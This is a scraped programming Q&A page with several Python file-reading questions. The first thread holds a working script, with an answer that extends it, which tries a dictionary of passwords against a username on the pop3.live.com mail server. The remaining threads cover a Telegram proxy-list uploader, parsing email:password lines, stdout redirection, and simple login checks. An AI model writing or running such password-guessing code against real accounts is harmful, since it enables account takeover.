Two arguments in one def? - python

First, here's my code:
import poplib
def con(pwd):
M = poplib.POP3_SSL('pop3.live.com', 995)
try:
M.user(pwd)
M.pass_('!##$%^')
except:
print "[-]Not Found!:",pwd
else:
print '[+]Found password'
exit()
f = open("Str1k3r.txt", "r")
for pwd in f.readlines():
con(pwd.replace("\r", "").replace("\n", ""))
I want have two argument in con definition, so it would be like con(pwd,cod) and M.pass_(cod), but it's doesn't work. How can I do this?

Assuming, the file "Str1k3r.txt" contains username and password in the first two lines, what you want to do is the following:
import poplib
def con(pwd, cod):
M = poplib.POP3_SSL('pop3.live.com', 995)
try:
M.user(pwd)
M.pass_(cod)
except:
print "[-]Not Found!:",pwd
else:
print '[+]Found password'
exit()
f = open("Str1k3r.txt", "r")
lines = f.readlines()
pwd = lines[0].rstrip('\r\n')
cod = lines[1].rstrip('\r\n')
con(pwd, cod)
EDIT:
Although that sounds like you're doing some kind of dictionary attack, but I'll assume, that you simply forgot your password ;)
So your bottom lines should look like this:
f = open("Str1k3r.txt", "r")
lines = f.readlines()
pwd = lines[0].rstrip('\r\n')
dictfile = open("pass.txt", "r")
for password in dictfile:
con(pwd, password.rstrip('\r\n'))

am thinking about
that
import poplib
def con(pwd):
M = poplib.POP3_SSL('pop3.live.com', 995)
try:
M.user(pwd)
M.pass_(here how i can put four passwords ?)
except:
print "[-]Not Found!:",pwd
else:
print '[+]Found password'
exit()
f = open("Str1k3r.txt", "r")
for pwd in f.readlines():
con(pwd.replace("\r", "").replace("\n", ""))
am thinking put in M.pass_ like that M.pass_(123456 or 'abcdefj' or '=q-2oq2' )
but it's nor active as well i mean he try only 123456 no thing else

Related

using if else while declaring a variable

I'm writing a script to sent proxies file from a directory to telegram channel. With the help of some good folks I was able to complete it almost
from telegram import Bot, InputMediaDocument
BOT_TOKEN = "xxx"
CHAT_ID = xxx
def main():
bot = Bot(BOT_TOKEN)
file_paths = (
"proxy/proxies/http.txt",
"proxy/proxies/socks4.txt",
"proxy/proxies/socks5.txt"
)
path_http = "proxy/proxies/http.txt"
with open(path_http,'rb') as file_http:
http_count = len(file_http.readlines())
file_http.close()
path_socks4 = 'proxy/proxies/socks4.txt'
with open(path_socks4,'rb') as file_socks4:
socks4_count = len(file_socks4.readlines())
file_socks4.close()
path_socks5 = 'proxy/proxies/socks5.txt'
with open(path_socks5,'rb') as file_socks5:
socks5_count = len(file_socks5.readlines())
file_socks5.close()
text = f"Total HTTPs:{http_count}\nTotal SOCKS4:{socks4_count}\nTotal SOCKS5:{socks5_count}"
media_group = list()
for f in file_paths:
with open(f, "rb") as fin:
caption = text if f == "proxy/proxies/http.txt" else ''
fin.seek(0)
media_group.append(InputMediaDocument(fin, caption=caption))
bot.send_media_group(CHAT_ID, media=media_group)
if __name__ == "__main__":
main()
Issues occurred
media_group = list()
^
IndentationError: unindent does not match any outer indentation level
what I'm trying is to send those 3 proxy files with a caption to the first proxy file
There are a few issues with your code:
The lack of proper indentation
Improper closing of brackets
The SyntaxError that you're getting on the line path_http = 'proxy/proxies/http.txt' is because you didn't close the brackets from the previous line (the line where you initialised the variable file_paths).
I also foresee that you'll face issues when you try to open the file with the open function. You can look up some examples here: https://www.programiz.com/python-programming/file-operation
with the help of some good folks I make it work, If there are any easy versions fell free to share
from telegram import Bot, InputMediaDocument
BOT_TOKEN = "xxxxx"
CHAT_ID = -1000000
def http():
path_http = 'proxy/proxies/http.txt'
with open(path_http, 'rb') as file_http:
http_count = len(file_http.readlines())
return http_count
def socks4():
path_socks4 = 'proxy/proxies/socks4.txt'
with open(path_socks4, 'rb') as file_socks4:
socks4_count = len(file_socks4.readlines())
return socks4_count
def socks5():
path_socks5 = 'proxy/proxies/socks5.txt'
with open(path_socks5, 'rb') as file_socks5:
socks5_count = len(file_socks5.readlines())
return socks5_count
http_count = http()
socks4_count = socks4()
socks5_count = socks5()
text = f"Total HTTPs:{http_count}\nTotal SOCKS4:{socks4_count}\nTotal SOCKS5: {socks5_count}"
def main():
bot = Bot(BOT_TOKEN)
file_paths = (
"proxy/proxies/http.txt",
"proxy/proxies/socks4.txt",
"proxy/proxies/socks5.txt"
)
media_group = list()
for f in file_paths:
with open(f, "rb") as fin:
caption = text if f == "proxy/proxies/socks5.txt" else ''
fin.seek(0)
media_group.append(InputMediaDocument(fin, caption=caption))
bot.send_media_group(CHAT_ID, media=media_group)
if __name__ == "__main__":
main()
`file_paths = (
"proxy/proxies/http.txt",
"proxy/proxies/socks4.txt",
"proxy/proxies/socks5.txt"
`
invalid syntax error probably because ) doesn't exist in the end.
try adding (" ") caption = text if f == "proxy/proxies/http.txt" else '' because it is a string.

ValueError: substring not found, Why?

The my_data.txt file looks like this:
jim#gmail.com: hello123
tim#gmail.com: hello1234
The program actually extracts the email address and password from the my_data.txt file really intelligently for a basic programmer at least. But each time I run it, it yells ValueError: substring not found, even thou I tried both the string methods: .index() and .find().
file = open('my_data.txt', 'r')
for line in file.readlines():
break_line = line.index(':') # OR: break_line = line.find(':')
email = line[:break_line]
password = line[(break_line + 2):len(line)]
print(line.find(':'))
I expect you got empty lines in your text file. Try skipping empty lines and lines that do not contain ":" at the beginning:
for line in file.readlines():
if not line.strip():
continue
if ":" not in line:
continue
break_line = line.index(':') # OR: break_line = line.find(':')
email = line[:break_line]
password = line[(break_line + 2):len(line)]
print(line.find(':'))
Maybe you can try this code:
for line in file.readlines():
if line.strip(): # meaning there is a valid line
print(line)
break_line = line.split(':') #index(':') # OR: break_line = line.find(':')
email = break_line[0]
print(email)
password = break_line[1]
print(password)

Redirect stdout to a text file in Python?

I would like to redirect the print statements of my output to a text file. I have imported the sys and tried below.
import pprint
import os
import math
import sys
class ExportLimits(object):
MMAP_ITER_TRIPS = 'manpower_mappings.map_iterator_trips'
def __init__(self, workset, crew_type, bid_period, divisor_files=None):
log_file = "/opt/test/test_user/data/ESR_DATA/etab/slogfile.txt"
sys.stdout = open(log_file, 'w')
self.workset = workset
self.crew_type = crew_type
self.bid_period = bid_period
self.tm = workset.getTM()
self.crew_bid_period = self.crew_type + "+" + self.bid_period
self.bid_period = self.tm.table('qf_user_bid_period')[(self.crew_bid_period)]
self.period = Period(self.bid_period.bpstart, self.bid_period.bpend)
self.filter_matcher = self._get_filter_matcher()
self.iterator_trips = rave_api.eval(\
ExportLimits.MMAP_ITER_TRIPS)[0]
self.divisor_reader_lh = divisor_reader_lh.DivisorReader(\
divisor_files=divisor_files)
self.divisor_reader_sh = divisor_reader_sh.DivisorReader(\
divisor_files=divisor_files)
self.pp_start = self.period.getStart()
self.pp_end = self.period.getEnd()
def export_limits(self, item_type):
if item_type == 'DKSH':
self._mandays_limits(SLKHH_GROUPS)
else:
self._mandays_limits(LAJSDLH_GROUPS)
def _mandays_limits(self, groups):
crews = [self.tm.table('crew')[('99172447',)],
self.tm.table('crew')[('7654678',)]]
generator = ((crew, self.filter_matcher.getFilterNamePeriodsMap(crew.id))
for crew in self.tm.table('crew'))
minres = defaultdict(lambda :RelTime(0))
maxres = defaultdict(lambda :RelTime(0))
for crew, group_to_periods in generator:
print crew, group_to_periods
try:
crew_filter, period = group_to_periods.iteritems().next()
except StopIteration:
continue
if crew_filter not in groups:
continue
It works partially for me. I am able to print few of the lines, but not completely. Please find the below output of my log file where it has only printed fewer lines but not the complete logs.
For some reason, it hasn't printed completely. (Please see the last line of the log file where it printed only till "alia".)
Log File:
crew _id="133245" id="176543" empno="8761890" sex="M"
birthday="19681217" name="MICHEAL" forenames="LUCAS" maincat="C"
preferredname="ESWAR" initials="LL" joindate="20010910 00:00"
comjoindate="20010910 00:00"
_void="title,logname,si,bcity,bstate,bcountry,alias,comenddate" {'X-SYD-BB-AUSLLH': [26JUN2017 00:00-21AUG2017 00:00]}
crew _id="214141" id="132451" empno="145432" sex="M"
birthday="19630904" name="ESWARF" forenames="FJDJSK" maincat="C"
preferredname="ESWADF" initials="WL" joindate="20010910 00:00"
comjoindate="20010910 00:00"
_void="title,logname,si,bcity,bstate,bcountry,alia
~
~
Please check and advise.
Instead of using sys.stdout you can write like:
output_file = open(log_file, 'w')
output_file.write('testing asdasdfsd')
Or if you want to write all kinds of print value in log file then :
output_file = open(log_file, 'w')
sys.stdout = output_file
that's it.

Python replace word for line [duplicate]

def false_to_true():
name = input("Input name: ")
file=open("users.txt","r")
lines = file.readlines()
file.close()
for line in lines:
username, lel, type = line.split("/")
while name == username:
name = input("input name again: ")
tip = True
with open("users.txt", "w") as users:
users.write(str(red))
#
#I do not know how to perform a given modification and enrollment into place in #the text.
#
#I wont to change word False to True for username i input.
#I have this text in file users:
#Marko123/male/False
#Mimi007/female/False
#John33/male/False
#Lisa12/female/False
#Inna23/female/False
#Alisa27/female/False
I won't to change word False to True for username I input.
I have this text in file users:
Marko123/male/False
Mimi007/female/False
John33/male/False
Lisa12/female/False
Inna23/female/False
Alisa27/female/False
You can just use the csv library and forget about string manipulation:
import csv
def false_to_true():
#read from user.txt file into list(data)
with open('users.txt', 'r') as userfile:
data = [row for row in csv.reader(userfile,
delimiter="/",
quoting=csv.QUOTE_NONE)]
while True:
#waiting for input until you enter nothing and hit return
username = input("input name: ")
if len(username) == 0:
break
#look for match in the data list
for row in data:
if username in row:
#change false to true
row[2] = True
#assuming each username is uniqe break out this for loop
break
#write all the changes back to user.txt
with open('users.txt', 'w', newline='\n') as userfile:
dataWriter = csv.writer(userfile,
delimiter="/",
quoting=csv.QUOTE_NONE)
for row in data:
dataWriter.writerow(row)
if __name__ == '__main__':
false_to_true()
Open the input and output files, make a set out of the user-input names (terminated by a blank line), then create a generator for strings of the proper format that check for membership in the user-input names, then write these lines to the output file:
with open('names.txt') as f, open('result.txt', 'w') as out:
names = {name for name in iter(input, '')}
f = ('{}/{}/{}'.format(a,b,'True\n' if a in names else c) for a,b,c in (line.split('/') for line in f))
output.writelines(f)
To modify a text file inplace, you could use fileinput module:
#!/usr/bin/env python3
import fileinput
username = input('Enter username: ').strip()
with fileinput.FileInput("users.txt", inplace=True, backup='.bak') as file:
for line in file:
if line.startswith(username + "/"):
line = line.replace("/False", "/True")
print(line, end='')
See How to search and replace text in a file using Python?
Ask for name and iterate throw your lines to check for username, like this:
def false_to_true():
name = input("Input name: ")
file=open("users.txt","r")
lines = file.readlines()
file.close()
users = open("users.txt", "w")
for line in lines:
username, lel, type = line.split("/")
if name == username:
type = 'True\n'# \n for new line type ends with '\n'
users.write("/".join([username, lel, type]))
users.close()
false_to_true()

Reading pairs of rows from a file

I want it to read rows 0 and 1, 0 for username and 1 for password, and if it doesn't find it it adds 2 to the row number so it read 2 for the username and then 3 for the password and so forth.
My file looks like this:
daniel
password
user
password
user
password
etc user
etc password
def PupilLogin():
print "*********************************"
print "* Welcome to Spelling Bee Pupil *"
print "*********************************"
print "Enter your details below..\n"
strID = raw_input("Username : ")
strPassWd = getpass.getpass("Password : ")
with open('studentsusers.csv', 'rb') as csvfile:
spamreader = csv.reader(csvfile, delimiter=',')
username = 0
password = 1
for row in spamreader:
strLoginID = row[username]
strLoginPasswd = row[password]
while strLoginID != "":
if strID == strLoginID and strLoginPasswd == strPassWd:
print strID, "Logged In"
PupilMenu()
strContinue = sys.stdin.readline()
return
else:
username += 2
password += 2
#if we get here there is no such login and id
print "Login ID or password incorrect, press enter to continue"
strContinue = sys.stdin
I think the problem is something to do with the fact I haven't used integers but I actually don't have a clue I think I'm being stupid here to be honest just wishing for any sort of help.
I think the problem is that your code expects a comma-delimited csv file that would look something like this:
daniel, password
user, password
So each row has a username (row[0]) and a password (row[1]), separated by a comma. You can easily assign these to variables using the form username, password = row.
The for row in spamreader part of your code iterates through each row, so on the first iteration, row equals ["daniel", "password"], etc.
I would change your .csv file to fit that format, and then do the relevant part of your code like this:
strID = raw_input("Username : ")
strPassWd = getpass.getpass("Password : ")
with open('studentsusers.csv', 'rb') as csvfile:
spamreader = csv.reader(csvfile, delimiter=',')
for row in spamreader:
strLoginID, strLoginPasswd = row
while strLoginID != "":
if strID == strLoginID and strLoginPasswd == strPassWd:
print strID, "Logged In"
PupilMenu()
strContinue = sys.stdin.readline()
return
else:
break # goes on to the next row in spamreader
#if we get here there is no such login and id
print "Login ID or password incorrect, press enter to continue"
strContinue = sys.stdin
EDIT: I should mention that it's generally a good idea to release file resources as soon as you don't need them anymore. In this example, you no longer need your csv file once the user is logged in, so I would consider pulling out the PupilMenu() call and calling it after the file is closed (i.e. after the with block). Consider this:
strID = raw_input("Username : ")
strPassWd = getpass.getpass("Password : ")
loggedIn = False
with open('studentsusers.csv', 'rb') as csvfile:
spamreader = csv.reader(csvfile, delimiter=',')
for row in spamreader:
strLoginID, strLoginPasswd = row
while strLoginID != "":
if strID == strLoginID and strLoginPasswd == strPassWd:
print strID, "Logged In"
loggedIn = True
return
else:
break # goes on to the next row in spamreader
if loggedIn:
PupilMenu()
strContinue = sys.stdin.readline()
else:
print "Login ID or password incorrect, press enter to continue"
strContinue = sys.stdin
EDIT 2: I refactored your code a little bit, just for fun. I think this is a little easier to read/understand:
def Welcome():
print "*********************************"
print "* Welcome to Spelling Bee Pupil *"
print "*********************************"
print "Enter your details below..\n"
strID = raw_input("Username : ")
strPassWd = getpass.getpass("Password : ")
if loggedIn(strID, strPassWd):
PupilMenu()
strContinue = sys.stdin.readline()
else:
print "Login ID or password incorrect, press enter to continue"
strContinue = sys.stdin
def loggedIn(user, password)
with open('studentsusers.csv', 'rb') as csvfile:
spamreader = csv.reader(csvfile, delimiter=',')
for row in spamreader:
strLoginID, strLoginPasswd = row
while strLoginID != "":
if strLoginID == user and strLoginPassWd == password:
print user, "Logged In"
return True
else:
break
If you need to have username and password stored on different lines, you can do that.
So, one neat thing about python file input objects, is that you can iterate through the lines automatically! So you don't actaully even need your csv reader:
with open('inputfile', 'r') as inputfile:
for line in inputfile:
print line
This would print every line of the file.
Then, to read pairs of lines, we can use a cool python trick to turn a list into a list of pairs.
with open('passwords_file', 'r') as f:
from itertools import izip
line_iter = iter(f)
for username_line, password_line in izip(line_iter, line_iter):
if strID == username_line.rstrip() and strPassWd == password_line.rstrip():
print strID, "Logged In"
PupilMenu()
strContinue = sys.stdin.readline()
return
# If you make it here, the username/password pair wasn't found.
(The rstrip() is necessary, because otherwise the endlines will be part of the string.)
Finally, you might not want to read linearly through your database every time a user enters his/her password. It might be better to start by reading the username/password combos into a dictionary, then use that dictionary for the log in process! That way, you can have the user try over and over until they get it, much more efficiently.
import getpass
def AttemptLogIn(user_to_passwd):
while True:
strID = raw_input("Username : ")
strPassWd = getpass.getpass("Password : ")
if strID not in user_to_passwd or user_to_passwd[strID] != strPassWd:
print "Sorry, username or password not found."
else:
print strID, "Logged In"
return
user_to_passwd = {}
with open('passwords_file', 'r') as f:
line_iter = iter(f)
from itertools import izip
for username, password in izip(line_iter, line_iter):
user_to_passwd[username.rstrip()] = password.rstrip()
AttemptLogIn(user_to_passwd)
PupilMenu()
strContinue = sys.stdin.readline()

Categories